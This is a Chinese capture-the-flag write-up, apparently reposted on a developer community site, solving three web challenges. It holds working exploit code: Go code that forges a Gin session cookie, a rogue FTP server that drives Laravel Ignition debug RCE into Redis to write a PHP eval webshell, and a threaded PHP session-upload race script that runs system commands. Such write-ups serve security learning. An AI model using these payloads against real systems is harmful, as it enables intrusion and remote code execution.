考察点和2020wmctf gogogo类似
参考链接:https://annevi.cn/2020/08/14/wmctf2020-gogogo-writeup/#0x05_go_version
随机数种子为1,可以伪造session
题目给了源码 看到存在/game,没有登录直接就去访问了/game
我们需要去购买flag但是没有钱
在cookie中看到了一串base两次解码后
指的地⽅就是chekNowMoney的值,这个值是需要购买flag的钱加密后的值,伪造cookie
// 伪造 cookie
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"math/rand"
)
func main() {
r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.GET("/a",cookieHandler)
r.Run("0.0.0.0:8002")
}
func cookieHandler(c *gin.Context){
s := sessions.Default(c)
s.Set("uname", "admin")
s.Set("checkNowMoney", "JkeLNs0tAng7rDdgtr1nDQ")
s.Set("checkPlayerMoney", "JkeLNs0tAng7rDdgtr1nDQ")
s.Set("nowMoney", 200000)
s.Set("playerMoney", 200000)
s.Save()
}
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}
然后本地搭建服务 访问/a 获取cookie ,替换后就可以购买flag
考察知识点laravel debug rce
参考链接 https://zhuanlan.zhihu.com/p/351767398
发现没有开放9000端口,6379端口存在一个redis服务
尝试通过使用FTP协议的被动模式去打内网的redis
漏洞利用路径 /_ignition/execute-solution
修改上面文章中的脚本
# -*- coding: utf-8 -*-
# @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Axxx%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%2213%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/public%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A ")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 12341
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 2335))
sk2.listen()
# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 ip,0,2335\n") # 服务端告诉客户端需要到那个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,0,6379\n") # 端口计算规则:35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1
在bp上发送数据包,将上面的脚本上传到服务器并运行
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSoluti "parameters": { "viewFile": "ftp://vps:12341/", "variableName": "doesnotexist" } }
然后访问shell.php并利用
利用点文件包含 尝试包含session 写脚本尝试,在返回包中搜索Sanfor看到flag
import io
import threading
import requests
thread_list=[]
stop_threads = False
thread_num = 100
def run(s):
global stop_threads
while True:
if stop_threads:
break
url='http://192.168.40.215:8000//?gwht=/var/lib/php5/sess_ly0n&ycb=http://baidu.com'
headers={'Cookie': 'PHPSESSID=ly0n',}
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /flag');echo 'abcdefg';?>"}
files={"file":('abcdefg', 'a'*1)}
r=s.post(url,headers=headers,data=data,files=files)
if 'abcdefg' in r.text:
print(r.text)
stop_threads = True
exit(0)
if __name__ == '__main__':
with requests.session() as s:
while thread_num:
t = threading.Thread(target=run, args=(s, ))
thread_num-=1
t.start()
thread_list.append(t)
for t in thread_list:
t.join()
希望自己在以后的比赛中能够更加全面的思考吧,咕了这么多天的wp终于写上了,第二天去耍去了,第二天的网刃杯也没来得及打,也没有复现环境。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。